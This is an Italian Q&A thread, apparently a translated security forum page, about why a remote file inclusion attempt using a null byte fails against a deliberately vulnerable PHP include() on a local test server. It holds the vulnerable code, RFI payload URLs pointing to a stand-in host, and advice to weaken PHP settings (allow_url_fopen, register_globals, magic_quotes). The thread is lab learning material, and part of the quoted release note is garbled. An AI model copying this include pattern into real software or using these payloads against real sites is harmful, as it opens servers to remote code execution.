Il byte null di PHP include l'esplorazione fallita cercata

3

Sto guardando un tutorial su YouTube su come includere file remoti o locali tramite un comando di inclusione standard.

Ecco il codice:

<?php

if(isset($_GET["language"])) {
    $language = $_GET["language"];
    include($language."gif");
}

?>

L'ho preso su un server web locale (WAMP) e faccio il tutorial mi dice di farlo.

localhost/inctest/index.php?language=http://www.example.com/badcode.php%00

Warning: include(): Failed opening 'http://www.example.com/badcode.php' for inclusion (include_path='.;C:\php\pear') in C:\wamp\www\inctest\index.php on line 5

my PHP.ini:

allow_url_include = On

Ho rimosso il mio dominio e lo ho rinominato in example.com .

Che cosa mi sono perso?

    
posta Daniel 08.11.2013 - 14:22
fonte

3 risposte

3

Null Byte Poisoning è una vulnerabilità piuttosto vecchia, che è già stata risolta dalla versione PHP 5.3.4. Annuncio di rilascio :

Paths with NULL in them (foo
Paths with NULL in them (foo%pre%bar.txt) are now considered as invalid (CVE-2006-7243).
bar.txt) are now considered as invalid (CVE-2006-7243).

Se sei sicuro che la tua versione di PHP sia corretta, prova a iniettare alcune risorse remote senza carattere NULL-byte nel percorso, per verificare se allow_url_* è impostato correttamente in php.ini .

    
risposta data 11.11.2013 - 23:27
fonte
2

Credo che tu abbia anche bisogno di includere nel php.ini la direttiva di: allow_url_fopen da impostare su 1

Ciò consente di caricare URL remoti usando fopen, ma considerando che non stai usando fopen, immagino che non sia realmente applicabile, ma vale comunque la pena provarci.

Potresti anche provare register_globals questa variabile controlla se le variabili arbitrarie possono essere iniettate in uno script tramite un parametro URL.

[Edit]

Disattiva magic_quotes_gpc in quanto ciò può impedire l'inizione dei byte nulli.

    
risposta data 08.11.2013 - 15:12
fonte
0

Poiché si tratta di un file remoto che include la vulnerabilità non è necessario fare affidamento sull'iniezione null byte, è sufficiente fornire il codice dannoso con un'estensione .gif come questa: http://www.example.com/badcode.php.gif

    
risposta data 09.12.2014 - 22:35
fonte

Leggi altre domande sui tag